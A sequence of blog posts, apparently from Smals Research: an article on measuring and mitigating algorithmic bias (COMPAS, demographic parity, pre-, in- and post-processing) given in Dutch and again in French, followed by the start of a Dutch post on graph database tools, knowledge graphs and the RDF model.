Artificiële intelligentie en machine learning spelen een steeds grotere rol in de menselijke samenleving ter ondersteuning van besluitvormingsprocessen. De aandacht naar hun eerlijkheid (fairness) is de afgelopen jaren dan ook steeds belangrijker geworden. Predictieve modellen kunnen namelijk problematisch worden wanneer ze biases (vooringenomenheden) die ze tijdens hun trainingsfase uit historische gegevens hebben geleerd, beginnen te reproduceren of versterken. Deze bias leidt vaak tot discriminatie van een of meer groepen individuen. Dit is vooral problematisch in het kader van gevoelige beslissingen, zoals het verwerken van sollicitaties, het toekennen van leningen of justitie. Dit artikel gaat in op de manier waarop deze algoritmische bias kan worden gemeten en op de verschillende manieren om deze te corrigeren om eerlijke voorspellingen te genereren.

Zoals we al in een eerdere blogpost hebben besproken, kan een bias verschillende oorzaken hebben. Het kan bijvoorbeeld gaan om een designfout in het algoritme zelf, een ondervertegenwoordiging van een groep in de trainingsdata, of om historische data die bevooroordeeld is door racisme/seksisme in de samenleving [1]. In dit artikel richten we ons op het geval waarin het probleem bij de gegevens ligt en niet bij het model zelf, namelijk wanneer het model leert op basis van bevooroordeelde gegevens en deze vooringenomenheid vervolgens reproduceert in zijn voorspellingen.

Een van de bekendste voorbeelden is de COMPAS-case. Het COMPAS-algoritme werd gebruikt in de Verenigde Staten om het risico op recidive van gedetineerden in het kader van een mogelijke vervroegde vrijlating in te schatten. In 2016 stelde een studie van ProPublica dat Afro-Amerikanen door het algoritme werden gediscrimineerd omdat ze meer kans hadden om als “high-risk” te worden geclassificeerd. De studie stelde meer bepaald dat een persoon met een donkere huidskleur meer kans had om ten onrechte als “high-risk” te worden geclassificeerd en dat een blanke daarentegen meer kans had om ten onrechte als “low-risk” te worden geclassificeerd. Deze zaak leidde tot een groot debat en de publicatie van honderden artikelen over dit onderwerp.

In het geval van COMPAS, lag het probleem niet bij het algoritme zelf, maar eerder bij de gegevens waarop het was getraind. Het model was namelijk getraind op historische strafrechtelijke gegevens die een systematische racistische vooringenomenheid weerspiegelen, zoals discriminerende politiepraktijken. Deze bevooroordeelde gegevens leidden er dus toe dat het model eveneens vooroordelen vertoonde in zijn voorspellingen.

Hoe meet je de oneerlijkheid van een model?

Problemen met fairness veronderstellen het bestaan van een zogenaamde gevoelige variabele. Dit is de variabele waarvoor men geen discriminatie wenst. Het kan bijvoorbeeld gaan om het geslacht of de etnische afkomst van een persoon. De gevoelige variabele is vaak categorisch, maar kan, afhankelijk van het geval, ook continu zijn (bijvoorbeeld de leeftijd van een persoon). Voor het gemak gaan we ervan uit dat er slechts een gevoelige variabele is, maar in sommige problemen kunnen er meerdere zijn.

Op basis van deze gevoelige variabele worden doorgaans twee groepen gedefinieerd. De groep die door het model negatief wordt gediscrimineerd, wordt de “beschermde groep” genoemd.

Stel dat we een predictief model hebben dat voorspellingen moet doen over het toekennen van een lening. Dit algoritme wordt als “eerlijk” beschouwd als de kans dat een persoon voor de lening wordt geselecteerd (positieve beslissing van het model) gelijk is, ongeacht de groep waartoe de persoon behoort. Wiskundig gezien willen we dus het volgende opleggen:

P(Y_d = 1 | Z = 1) = P(Y_d = 1 | Z = 0)

waarbij Y_d de beslissing van het model is en Z een binaire variabele die aangeeft of een persoon al dan niet behoort tot de beschermde groep. Deze kansen worden berekend op groepsniveau, niet op individueel niveau.

Een bekende maatstaf voor algoritmische oneerlijkheid is dus gewoon het verschil tussen deze twee termen. Indien er een verschil is, betekent het dat het model een van de twee groepen bevoordeelt. Deze maatstaf voor het verschil tussen voorspellingen binnen de twee groepen wordt “demographic parity” of “statistical parity” genoemd.

Hoewel deze maatstaf relatief eenvoudig is, is dit een van de bekendste op het gebied van algoritmische rechtvaardigheid, die algemeen wordt erkend en gebruikt. Het is echter duidelijk niet de enige maatstaf die bestaat (voor enkele alternatieven, zie bijvoorbeeld [2, 3]). Opgemerkt moet worden dat, aangezien demographic parity wordt gemeten op groepsniveau, het een maatstaf is voor groepsrechtvaardigheid (group fairness). Er bestaan ook alternatieve maatstaven op individueel niveau (individual fairness).

Waarom wordt de gevoelige variabele niet gewoon uit het model verwijderd?

Op het eerste gezicht lijkt het probleem eenvoudig op te lossen. Een voorspellend machine learning-model neemt gegevens X als input en voorspelt een variabele Y als output op basis van de gegevens in X. Het zou dus in principe voldoende zijn om de variabele Z niet op te nemen in de gegevens X, zodat de voorspellingen van het model niet meer worden beïnvloed door Z.

Helaas zijn de variabelen waaruit X bestaat in de praktijk zelden onafhankelijk van elkaar. De database X kan dus variabelen bevatten die gecorreleerd zijn met de gevoelige variabele, het model kan deze variabelen gebruiken als proxy van de gevoelige variabele en vertekende voorspellingen geven, ook al maakt Z niet expliciet deel uit van de gebruikte inputgegevens. Zo kan in een steekproef het inkomen van een persoon worden gebruikt als proxy voor zijn leeftijd, omdat het inkomen van personen doorgaans stijgt naarmate ze ouder worden.

In het geval van COMPAS werd de etnische afkomst van de gedetineerde bijvoorbeeld niet expliciet gebruikt in het model als variabele, maar door de aanwezigheid van gecorreleerde proxyvariabelen (bijv. postcode, sociaaleconomische indicatoren) werd de raciale vertekening altijd weerspiegeld in de voorspellingen van het model.

Hoe een algoritmische bias in de praktijk corrigeren?

Er onderscheiden zich drie grote families van correcties: voorbewerking (“pre-processing”: het verwijderen van de bias uit de trainingsdata), verwerking (“in-processing”: het verwijderen van de bias tijdens het trainen van het model) en nabewerking (“post-processing”: het verwijderen van de bias uit een getraind model). Deze benaderingen hebben elk hun voor- en nadelen en zijn uitgebreid beschreven in tal van publicaties. De geïnteresseerde lezer kan de volgende survey raadplegen [4], waarin de verschillende publicaties op het gebied van fairness zijn verzameld en geordend per aanpak (pre-, in-, post-processing), per type algoritme (logistische regressie, random forest, neurale netwerken, enz.), per gebruikte fairness-maatstaf, enz. Dit biedt een goed gestructureerd overzicht van wat er op dit gebied wordt gedaan.

Pre-processingsmethoden

Het idee is eenvoudig: de trainingsgegevens ontdoen van vooringenomenheid om ze dichter bij de werkelijkheid te brengen, zodat de vooroordelen niet in het machine learning-model terechtkomen. Enkele voorbeelden van pre-processingsmethoden zijn:

• De steekproef (sampling) opnieuw in evenwicht brengen (door waarnemingen toe te voegen of te verwijderen);
• De inhoud van bepaalde variabelen van data X corrigeren of zelfs volledig vervangen door nieuwe variabelen (representational learning) die geen gevoelige informatie bevatten;
• Het label (variabele Y) van bepaalde waarnemingen wijzigen.

Pre-processing biedt het voordeel dat het niet afhankelijk is van het gebruikte model en dat het doorgaans eenvoudig uit te leggen en te begrijpen is. Het correct corrigeren van historische gegevens kan echter ingewikkeld zijn en het is moeilijk om de fairness van het resulterende model te garanderen. Ook moet het risico van verlies aan nauwkeurigheid worden vermeld, aangezien het wijzigen van data mogelijk relevante patterns uit de data verwijdert.

Figuur 2 toont hoe fairness wordt toegevoegd via een pre-processing-aanpak. Zoals uit het schema blijkt, is pre-processing niet altijd noodzakelijk voor nieuwe data. Sommige methoden (bijv. resampling, relabeling) vereisen enkel een wijziging van de trainingsdata om te voorkomen dat het algoritme de bias leert. Sommige algoritmen (bijv. representation learning) vereisen echter ook dat de nieuwe te voorspellen waarnemingen worden gewijzigd.

In-processing-methoden

Deze methoden bestaan uit het rechtstreeks wijzigen van het voorspellingsmodel zelf, zodat de voorspellingen fair zijn. Dit kan bijvoorbeeld worden gedaan door een regularisatieterm toe te voegen aan de doelfunctie van het algoritme, of door er fairness-beperkingen aan toe te voegen.

In-processing-methoden hebben het voordeel dat, zodra het model is getraind, fairness direct in het model wordt opgenomen en het model vrij kan worden gebruikt, zonder dat de invoergegevens of de voorspellingen van het model verder hoeven te worden aangepast. Bovendien biedt het rechtstreeks wijzigen van het model een grote flexibiliteit, omdat complexe fairness-beperkingen kunnen worden gecodeerd.

Deze grote flexibiliteit vereist echter voldoende theoretische en praktische kennis om het algoritme zelf te kunnen wijzigen. Bovendien kan het aanbrengen van wijzigingen in een model, zoals beperkingen, de trainingstijd aanzienlijk verlengen. Aangezien in-processing-methoden de training van een algoritme wijzigen, zijn de meeste gepubliceerde methoden doorgaans specifiek voor een bepaald model.

Post-processingsmethoden

Bij de laatste benadering worden het model en de historische data niet aangepast, maar worden de voorspellingen van het model aangepast om aan de fairness-beperkingen te voldoen. Een post-processing-algoritme wijzigt dus meestal ofwel de waarschijnlijkheid dat een waarneming tot de door het model voorspelde klassen behoort, ofwel rechtstreeks de beslissingen (definitieve classificaties) voor bepaalde waarnemingen.

Post-processingsalgoritmen zijn eenvoudig te implementeren: ze zijn onafhankelijk van het gebruikte voorspellingsmodel en kunnen dus worden gebruikt met ‘black-box’-modellen. Bovendien vereist post-processing geen wijzigingen aan de gegevens of het model en blijft de integriteit van het bestaande proces dus behouden.

Dit soort methoden leidt echter doorgaans tot een groter verlies aan modelprestaties dan het gebruik van in-processingsmethoden. Een model vrij trainen en vervolgens achteraf de voorspellingen aanpassen om aan bepaalde beperkingen te voldoen, is namelijk vaak minder effectief dan een model dat specifiek is geoptimaliseerd om voorspellingen te doen die aan de beperkingen voldoen.

Eerlijke voorspellingen evalueren

Vanaf het moment dat beperkingen aan de voorspellingen van een model worden toegevoegd of de toegang tot bepaalde informatie wordt beperkt, zal dit de classificatieprestaties van het model logischerwijs verminderen. Het integreren van fairness in een classificatieprobleem houdt dus in dat er een juiste balans moet worden gevonden tussen de nauwkeurigheid van het model en de fairness ervan.

Bovendien is het raadzaam om, zelfs wanneer een evenwicht tussen nauwkeurigheid en eerlijkheid is gevonden, altijd te controleren welke wijzigingen het toevoegen van fairness-beperkingen met zich meebrengt.

Een voorbeeld ter illustratie: stel dat een algoritme voorspellingen doet die bevooroordeeld zijn en relatief meer gunstige beslissingen neigt te nemen voor leden van groep A dan voor leden van groep B. Het risico bestaat dat het algoritme bij de invoering van een fairness-beperking reageert door simpelweg het aantal gunstige beslissingen voor groep A te verminderen om hetzelfde niveau als groep B te bereiken. Dit nieuwe model is dus in theorie eerlijker dan het vorige, maar het is duidelijk slechter omdat deze eerlijkheid alleen is bereikt door een van de groepen te benadelen.

Dit voorbeeld illustreert hoe belangrijk het is om bij het invoeren van eerlijkheid in een model niet alleen te kijken naar prestatiemaatstaven (accuracy, demographic parity, enz.), maar ook te onderzoeken hoe de beslissingen van het model in de praktijk worden beïnvloed.

Conclusie

In dit artikel hebben we gezien hoe de oneerlijkheid van een machine learning-model kan worden gemeten. Ook hebben we een overzicht gegeven van de verschillende benaderingen die worden gebruikt om te voorkomen dat het model een in de historische gegevens aangeleerde bias reproduceert of versterkt.

Belangrijk is dat de verschillende benaderingen elkaar niet uitsluiten en vaak kunnen worden gecombineerd (bijvoorbeeld voorbewerking van de trainingsdata, gevolgd door een in-processing-methode op het model). Sommige publicaties op dit gebied stellen methoden voor die op verschillende niveaus van het classificatieproces werken.

Referenties

[1] Mehrabi, N., Morstatter, F., Saxena, N., Lerman, K., & Galstyan, A. (2021). A survey on bias and fairness in machine learning. ACM computing surveys (CSUR), 54(6), 1-35.

[2] Castelnovo, A., Crupi, R., Greco, G., Regoli, D., Penco, I. G., & Cosentini, A. C. (2022). A clarification of the nuances in the fairness metrics landscape. Scientific Reports, 12(1), 4209.

[3] Corbett-Davies, S., Gaebler, J. D., Nilforoshan, H., Shroff, R., & Goel, S. (2023). The measure and mismeasure of fairness. Journal of Machine Learning Research, 24(312), 1-117.

[4] Hort, M., Chen, Z., Zhang, J. M., Harman, M., & Sarro, F. (2024). Bias mitigation for machine learning classifiers: A comprehensive survey. ACM Journal on Responsible Computing, 1(2), 1-52.

Voor een soortgelijk onderwerp, zie de blogpost IA : L’éthique en pratique.

Dit is een ingezonden bijdrage van Pierre Leleux, data scientist et network data analyst bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.

Tandis que l’intelligence artificielle et le machine learning jouent un rôle croissant dans la société humaine pour soutenir les processus de prise de décision, les préoccupations concernant leur équité (fairness) ont attiré l’attention au cours des dernières années. Les modèles prédictifs peuvent en effet devenir problématiques lorsqu’ils commencent à reproduire ou renforcer des biais qu’ils ont appris dans les données historiques utilisées durant leur phase d’entrainement. Ce biais crée souvent une discrimination injuste à l’encontre d’un ou plusieurs groupe(s) d’individus, ce qui est particulièrement problématique dans le cadre de décisions sensibles, telles que le traitement de candidatures d’emploi, l’accord de prêts ou la justice, entre autres. Cet article s’intéresse à la manière dont ces biais algorithmiques peuvent être mesurés et les différentes façons de les corriger pour générer des prédictions équitables.

Comme nous en avions déjà discuté dans un précédent article de blog, un biais peut avoir plusieurs sources. Il peut par exemple s’agir d’un problème de design de l’algorithme en lui-même, d’un souci de sous-représentation d’un groupe dans les données d’entrainement, ou de données historiques biaisées par du racisme/sexisme présent dans la société [1]. Dans le cadre de cet article, nous nous concentrerons sur le cas où le problème vient des données et non pas du modèle en lui-même, à savoir lorsque le modèle apprend sur des données biaisées et reproduit ensuite ce biais dans ses prédictions.

L’un des exemples les plus connus est le cas COMPAS. L’algorithme COMPAS était utilisé aux États-Unis pour estimer le risque de récidive de détenus dans le cadre d’une potentielle libération anticipée. En 2016, une étude de ProPublica affirmait que les Afro-Américains étaient discriminés par l’algorithme car ils avaient plus de chance d’être classifiés comme « high-risk ». Plus précisément, l’étude mentionnait qu’une personne noire avait plus de chance d’être erronément classifiée comme « high-risk » et, qu’à l’inverse, une personne blanche avait plus de chance d’être erronément classifiée comme « low-risk ». Cette affaire entraina un grand débat et la publication de centaines d’articles sur le sujet.

Dans le cas de COMPAS, le problème n’était pas l’algorithme en lui-même, mais les données sur lesquelles il a été entrainé. Le modèle a en effet été entrainé sur des données historiques de la justice pénale qui reflètent un biais raciste systémique, telles que des pratiques policières discriminatoires. Ces données biaisées ont donc entrainé un modèle produisant des prédictions elles aussi biaisées.

Comment mesurer l’iniquité d’un modèle ?

Les problèmes de fairness supposent l’existence d’une variable appelée variable sensible. Il s’agit de la variable vis-à-vis de laquelle on souhaite qu’il n’y ait pas de discrimination. Il peut par exemple s’agir du genre de la personne, ou de son origine ethnique. La variable sensible est souvent catégorielle, mais suivant le cas de figure, elle peut aussi être continue (e.g. l’âge d’une personne). Pour des raisons de simplicité, nous faisons l’hypothèse qu’il n’y a qu’une seule variable sensible, mais dans certains problèmes il peut y en avoir plusieurs.

Sur base de cette variable sensible, on définit généralement deux groupes. Le groupe qui est discriminé négativement par le modèle est appelé « groupe protégé ».

Supposons un modèle prédictif ayant pour objectif de fournir des prédictions concernant l’accord d’un prêt. Cet algorithme sera considéré comme « équitable » si la probabilité pour un individu d’être sélectionné pour le prêt (décision positive du modèle) est la même peu importe le groupe dont est issu l’individu. Mathématiquement, on cherche donc à imposer :

P(Y_d = 1 | Z = 1) = P(Y_d = 1 | Z = 0)

Où Y_d est la décision du modèle et Z est une variable binaire indiquant l’appartenance ou non au groupe protégé. Ces probabilités sont calculées à l’échelle du groupe, et non pas de façon individuelle.

Une mesure bien connue de l’iniquité algorithmique consiste donc simplement à calculer la différence entre ces deux termes. S’il y a une différence, cela implique que le modèle favorise l’un des deux groupes. Cette mesure de la différence entre les prédictions au sein des deux groupes est appelée la « demographic parity » ou « statistical parity ».

Bien que relativement simple, il s’agit de l’une des mesures les plus connues dans le domaine de l’équité algorithmique, largement reconnue et utilisée. Cependant, ce n’est évidemment pas la seule mesure qui existe (pour quelques alternatives, voir e.g., [2, 3]). Il est à noter que, puisqu’elle se mesure à l’échelle des groupes, la demographic parity est donc une mesure d’équité de groupe (group fairness), il existe aussi des mesures alternatives au niveau des individus (individual fairness).

Pourquoi ne pas simplement enlever la variable sensible du modèle ?

Le problème semble, à première vue, simple à régler. Un modèle prédictif de machine learning prend en entrée des données X et prédit une variable Y en sortie sur base des données contenues dans X. Il suffirait donc, a priori, simplement d’enlever la variable Z de la base de données X pour que les prédictions du modèle ne soient plus impactées par Z.

Malheureusement, dans la pratique, les variables qui composent X sont rarement indépendantes les unes des autres. La base de données X peut donc contenir des variables corrélées avec la variable sensible, et le modèle pourra se servir de ces variables comme d’un proxy de la variable sensible et fournir des prédictions biaisées, bien que Z ne fasse pas explicitement partie des données utilisées en entrée. Par exemple, dans un échantillon, le revenu d’une personne peut être utilisée comme proxy de son âge, car les revenus des individus ont tendance à augmenter avec l’âge.

Dans le cas COMPAS par exemple, l’origine ethnique du détenu n’était pas explicitement utilisée en tant que variable du modèle, mais à cause de la présence de variables proxy corrélées (e.g., le code postal, des indicateurs socio-économiques), le biais racial se reflétait toujours dans les prédictions du modèle.

Comment corriger un biais algorithmique en pratique ?

Il existe 3 grandes familles de corrections : le prétraitement (« pre-processing » : enlever le biais des données d’entrainement), le traitement en cours (« in-processing » : enlever le biais durant l’entrainement du modèle) et le post-traitement (« post-processing » : enlever le biais d’un modèle entrainé). Chacune de ces approches a ses avantages et ses inconvénients et a fait l’objet de nombreuses publications. Le lecteur intéressé pourra se référer au survey suivant [4], qui rassemble et organise les différentes publications dans le domaine de la fairness par approche (pre-, in-, post-processing), type d’algorithme utilisé (régression logistique, random forest, réseaux de neurones, etc.), mesure de fairness utilisée, etc., offrant une vue d’ensemble bien structurée de ce qui se fait dans le domaine.

Les méthodes « pre-processing »

L’idée est simple : il s’agit simplement de débiaiser les données d’entrainement pour les rendre plus proches de la réalité, de sorte que le biais ne parvienne pas jusqu’au modèle de machine learning. Quelques exemples de méthodes de pre-processing incluent par exemple :

• Rééquilibrer l’échantillonnage (en ajoutant ou supprimant des observations) ;
• Corriger le contenu de certaines variables des données X, voire complètement remplacer les variables par des nouvelles (representation learning) qui ne contiennent pas d’information sensible ;
• Changer le label (variable Y) de certaines observations.

Le pre-processing offre l’avantage de ne pas dépendre du modèle utilisé et d’être (généralement) facile à expliquer et à comprendre. Cependant, corriger adéquatement les données historiques peut être compliqué à réaliser, et il est difficile de garantir l’équité du modèle résultant. Il faut aussi mentionner le risque de perte de précision, car altérer les données peut potentiellement enlever des patterns pertinents des données.

La figure 2 montre l’ajout d’équité via une approche pre-processing. Comme visible sur le schéma, le pre-processing ne s’applique pas toujours nécessairement aux nouvelles données. Certaines méthodes (e.g. rééchantillonnage, relabeliser) ne demandent que de modifier les données d’entrainement, pour éviter que l’algorithme n’apprenne le biais. Par contre, certains algorithmes (e.g. representation learning) nécessitent aussi de modifier les nouvelles observations à prédire.

Les méthodes « in-processing »

Ces méthodes consistent à modifier directement le modèle prédictif en lui-même, de sorte que ses prédictions soient équitables. Cela peut par exemple se faire en ajoutant un terme de régularisation sur la fonction objectif de l’algorithme, ou en lui ajoutant des contraintes de fairness.

Les méthodes in-processing ont l’avantage qu’une fois le modèle entrainé, la fairness est directement inclue dans le modèle et celui-ci peut être utilisé librement, sans nécessiter de modification supplémentaire des données entrées ou des prédictions du modèle. De plus, modifier directement le modèle offre une grande flexibilité, car on peut y encoder des contraintes de fairness complexes.

Cette grande flexibilité requiert, en contrepartie, des connaissances théoriques et pratiques suffisamment approfondies pour pouvoir modifier l’algorithme en lui-même. En outre, introduire des modifications dans un modèle, telles que des contraintes, peut significativement augmenter son temps d’entrainement. Enfin, puisque les méthodes d’in-processing modifient l’entrainement d’un algorithme, la plupart des méthodes publiées sont généralement spécifiques à un modèle précis.

Les méthodes « post-processing »

Pour la dernière approche, on ne touche pas au modèle ou aux données historiques, on va simplement appliquer un ajustement aux prédictions fournies par le modèle de sorte à satisfaire les contraintes de fairness. Un algorithme de post-processing va donc généralement soit modifier les probabilités d’appartenance aux classes prédites par le modèle, soit directement modifier les décisions (classifications finales) pour certaines observations.

Les algorithmes de post-processing sont des solutions simples à mettre en place : ils sont indépendants du modèle prédictif utilisé, et peuvent donc s’utiliser avec des modèles « black-box ». De plus, le post-processing ne demande aucune modification ni des données, ni du modèle, et préserve donc l’intégrité du processus existant.

Ce genre de méthodes tend cependant généralement à dégrader plus fortement les performances du modèle que l’utilisation de méthodes d’in-processing. En effet, entrainer un modèle librement et ensuite altérer ses prédictions a posteriori pour que ces dernières remplissent des contraintes sera souvent moins efficace que d’avoir un modèle ayant été spécifiquement optimisé pour fournir des prédictions remplissant les contraintes.

Evaluer les prédictions équitables

Par définition, à partir du moment où on ajoute des contraintes sur les prédictions d’un modèle, ou si on limite l’accès à certaines informations, cela va logiquement réduire les performances de classification du modèle. Par conséquent, incorporer de l’équité dans un problème de classification implique de trouver la juste balance entre la précision du modèle et sa fairness.

De plus, même une fois qu’un équilibre entre précision et équité a été trouvé, il convient toujours de vérifier les modifications qui résultent de l’ajout des contraintes de fairness.

Prenons un exemple illustratif : supposons un algorithme fournissant des prédictions biaisées, qui a tendance à donner relativement plus de décisions favorables aux membres du groupe A comparé au groupe B. Il y a un risque qu’à l’introduction d’une contrainte de fairness, l’algorithme réponde en réduisant simplement le nombre de décisions favorables pour le groupe A pour atteindre le même niveau que le groupe B. Ce nouveau modèle est donc théoriquement plus équitable que le précédent, mais il est manifestement pire puisque cette équité a été réalisée uniquement en pénalisant l’un des groupes.

Cet exemple illustre l’importance, lors de l’introduction d’équité dans un modèle, de ne pas regarder uniquement les mesures de performance (accuracy, demographic parity, etc.), mais aussi d’investiguer la façon dont les décisions du modèle sont impactées en pratique.

Conclusion

Dans cet article, nous avons vu comment mesurer l’iniquité d’un modèle de machine learning, et présenté un aperçu des différentes approches utilisées pour éviter que le modèle ne reproduise ou ne renforce un biais appris dans les données historiques.

Il est important de signaler que les différentes approches ne sont pas mutuellement exclusives, et peuvent souvent être combinées (e.g. un pre-processing des données d’entrainement, suivi d’une méthode in-processing sur le modèle). Certaines publications dans le domaine proposent d’ailleurs des méthodes qui agissent à plusieurs niveaux du processus de classification.

Références

[1] Mehrabi, N., Morstatter, F., Saxena, N., Lerman, K., & Galstyan, A. (2021). A survey on bias and fairness in machine learning. ACM computing surveys (CSUR), 54(6), 1-35.

[2] Castelnovo, A., Crupi, R., Greco, G., Regoli, D., Penco, I. G., & Cosentini, A. C. (2022). A clarification of the nuances in the fairness metrics landscape. Scientific Reports, 12(1), 4209.

[3] Corbett-Davies, S., Gaebler, J. D., Nilforoshan, H., Shroff, R., & Goel, S. (2023). The measure and mismeasure of fairness. Journal of Machine Learning Research, 24(312), 1-117.

[4] Hort, M., Chen, Z., Zhang, J. M., Harman, M., & Sarro, F. (2024). Bias mitigation for machine learning classifiers: A comprehensive survey. ACM Journal on Responsible Computing, 1(2), 1-52.

Sur un sujet similaire, voir le post IA: L’éthique en pratique.

Ce post est une contribution individuelle de Pierre Leleux, data scientist et network data analyst chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.

Deze blogpost volgt op deel 1, die de grondbeginselen van graphtechnologieën, hun algoritmes en toepassingen toelicht. Dit tweede deel is gewijd aan graph databases en aan knowledge graphs, hun verschillen en tools.

Graph databases

Zoals bij een relationele database is ook bij een graph database het doel om gegevens op een persistente manier op te slaan en te beheren en om complexe query’s uit te voeren. Het verschil is dat de gegevens worden opgeslagen in de vorm van een graph, d.w.z. een verzameling nodes die onderling verbonden zijn door bogen.

Graph databases hebben een aantal voordelen ten opzichte van traditionele relationele databases, omdat het graph model eenvoudige, geoptimaliseerde doorloop van gegevens via bogen mogelijk maakt, terwijl het verkennen van relaties in een relationele database een groot aantal joints kan vereisen. Meer details over de voordelen van graph databases en de situaties waarin ze gebruikt kunnen worden, zijn te vinden in de blogposts [1] en [2].

De drie componenten van een graph database zijn nodes, bogen en properties. Deze eigenschappen kunnen ofwel op de nodes, ofwel op de bogen, ofwel op beide worden geplaatst. Laten we eens kijken naar het voorbeeld in Figuur 1, de node “Paul” kan bijvoorbeeld gelinkt worden met eigenschappen zoals zijn geboortedatum en adres, voor de nodes die films voorstellen kunnen we eigenschappen associëren zoals het jaar van uitgave, het budget en de IMDb identifier, en op de “RATED” relaties tussen een gebruiker en een film kunnen we eigenschappen associëren zoals de kijkdatum en de waardering (op 5) die de gebruiker aan de film geeft.

Merk op dat de graph algoritmes die we in deel 1 hebben gepresenteerd vaak niet zijn geïmplementeerd in graph database software, met een paar uitzonderingen (Neo4j en TigerGraph hebben een “Graph Data Science (GDS)” library die verschillende algoritmes bevat). Over het algemeen is het daarom nodig om de graph (of een deel ervan) te exporteren naar een analysetool.

Tools voor graph databases

Laten we eens snel kijken naar enkele van de bekendste tools. Merk op dat alle hieronder genoemde tools compatibel zijn met ACID-eigenschappen. Er bestaan een groot aantal tools voor het beheren van graph databases, en deze post noemt er maar een paar. Bekijk hier gerust een uitgebreidere lijst.

1. Neo4j

Neo4j biedt het voordeel van een native graphformaat, wat het doorlopen van de graph zeer efficiënt maakt (en dus ook de query’s) De query’s gebeuren via Cypher, een taal die gemakkelijk te leren is, Neo4J is bovendien goed gedocumenteerd en beschikt over een grote community. Neo4J is in zijn “community”-versie gratis, maar een betalende versie bestaat ook (Neo4J Enterprise), de gratis versie kan een aantal schaalbaarheidsproblemen opleveren bij zeer grote hoeveelheden data.

2. ArangoDB

ArangoDB biedt een flexibel datamodel (multimodel), met een graphmodel, een documentmodel (gebaseerd op JSON-objecten) en een key-value model. Het heeft zijn eigen querytaal, AQL (Arango Query Language), die ingewikkelder kan zijn om te leren dan Cypher vanwege het multimodel dat aan de grondslag ligt van ArangoDB. Het programma is betalend, hoewel er ook een opensourceversie bestaat (community edition), maar die is (uiteraard) beperkter dan de betalende versie.

3. TigerGraph

TigerGraph is een betalende tool, die geoptimaliseerd is voor gebruik op zeer grote databases. De query’s gebeuren via de taal GSQL, die het mogelijk maakt om verschillende taken uit te voeren, maar die ingewikkelder is dan Cypher. TigerGraph beschikt over verschillende algoritmes die geïmplementeerd zijn via de GDS library.

4. Memgraph

Memgraph is een speciale tool in die zin dat hij gegevens direct in het geheugen bewaart (in RAM). Dit levert zeer hoge prestaties op voor query’s, maar maakt het aan de andere kant moeilijk te gebruiken, of op zijn minst kostbaar in termen van infrastructuur, als de graph groot is, omdat je genoeg RAM moet hebben om de gegevens op te slaan. Memgraph wordt daarom over het algemeen gebruikt als prestaties de hoogste prioriteit hebben. Query’s worden gedaan in Cypher.

5. GraphDB

GraphDB gebruikt een zeer specifiek graphmodel dat het Resource Description Framework (RDF) wordt genoemd. Dit framework, dat meer in detail zal worden besproken in de sectie Knowledge graphs, heeft zijn eigen querytaal die SPARQL heet. Er bestaat een gratis opensourceversie (graphDB Free) en een betalende enterpriseversie (graphDB Enterprise).

6. Apache TinkerPop en de implementaties ervan

Het gaat om een opensource framework voor het definiëren van een graph database en een querytaal die “Gremlin” heet. Het wordt gebruikt in veel graph database management software, zoals JanusGraph (opensource software), Amazon Neptune dat andere modellen biedt dan die van TinkerPop zoals RDF, of nog andere tools voor databasebeheer die niet gespecialiseerd zijn in graphs, zoals Azure Cosmos DB.

Knowledge graphs

Laten we, voordat we naar werkwijzen en tools kijken, eerst definiëren wat een knowledge graph is en hoe deze verschilt van een graph database. Het is een graph die zich richt op semantiek en inferentie. Elke node vertegenwoordigt een concept en elke boog een relatie. Zoals we al hebben gezien in de blogposts [3, 4], wordt een knowledge graph gedefinieerd als een graph die aan drie voorwaarden voldoet [5]:

1. De integratie van informatie uit verschillende heterogene bronnen.

Een knowledge graph verzamelt en combineert gegevens uit verschillende (on)gestructureerde bronnen op een coherente manier.

1. Het gebruik van een ontologie.

Een ontologie beschrijft formeel de concepten en relaties die aanwezig zijn in de graph, evenals eventuele beperkingen en regels. Het is dus een gestructureerd model dat de semantische basis biedt voor logische bewerkingen en coherentietesten. Een ontologieschema (zie Figuur 2), ook bekend als een ‘ontology graph’, biedt bijvoorbeeld een representatie van de entiteittypes en relaties van een knowledge graph, en biedt zo een conceptuele structuur zonder specifieke gegevens te bevatten.

1. Inferentie van impliciete informatie op basis van expliciete informatie.

Het is mogelijk om informatie te vinden die niet aanwezig was in de oorspronkelijke gegevens op basis van inferentieregels (zie Figuur 3).

Een overzicht van het RDF-model (Resource Description Framework)

Het RDF-model, oorspronkelijk ontworpen voor de formele beschrijving van web resources en de metadata ervan, wordt vaak gebruikt bij knowledge graphs omdat het robuust semantisch rederneren en een zeer hoge interoperabiliteit biedt.

Een RDF-document heeft de vorm van een set RDF-triples waarbij elk triple een associatie is: subject (te beschrijven bron), predicaat (eigenschap van de bron), object (gegevens of andere bron).

Bijvoorbeeld:

:Alice :knows :Bob .
:Alice :livesIn :Paris .
:Alice :age 30 .

Deze semantic triples vertegenwoordigen dus zowel relaties tussen nodes (bijvoorbeeld de relatie tussen Alice en Bob) als eigenschappen (de leeftijd van Alice).

Kenmerkend voor RDF is dat elk element van een triple (met uitzondering van het object als het een simpele waarde is, zoals de waarde 30 voor de leeftijd van Alice) door een URI (Uniform Resource Identifier) of IRI (Internationalized Resource Identifier) moet worden geïdentificeerd. Dit zorgt voor een hoge mate van interoperabiliteit, omdat het voorkomt dat er duplicaten ontstaan wanneer verschillende informatiebronnen worden gecombineerd. Als we teruggaan naar de eerder gebruikte triples, krijgen we het volgende fragment (in Turtle-taal):

<http://example.org/Alice> <http://example.org/knows> <http://example.org/Bob> .
<http://example.org/Alice> <http://example.org/livesIn> <http://example.org/Paris> .
<http://example.org/Alice> <http://example.org/age> "30"^^<http://www.w3.org/2001/XMLSchema#integer> .

Het gebruik van RDF impliceert daarom een URI om alle concepten (subjecten, predikaten en objecten) in de graph te kunnen identificeren op dezelfde manier als een primaire sleutel in relationele databases.

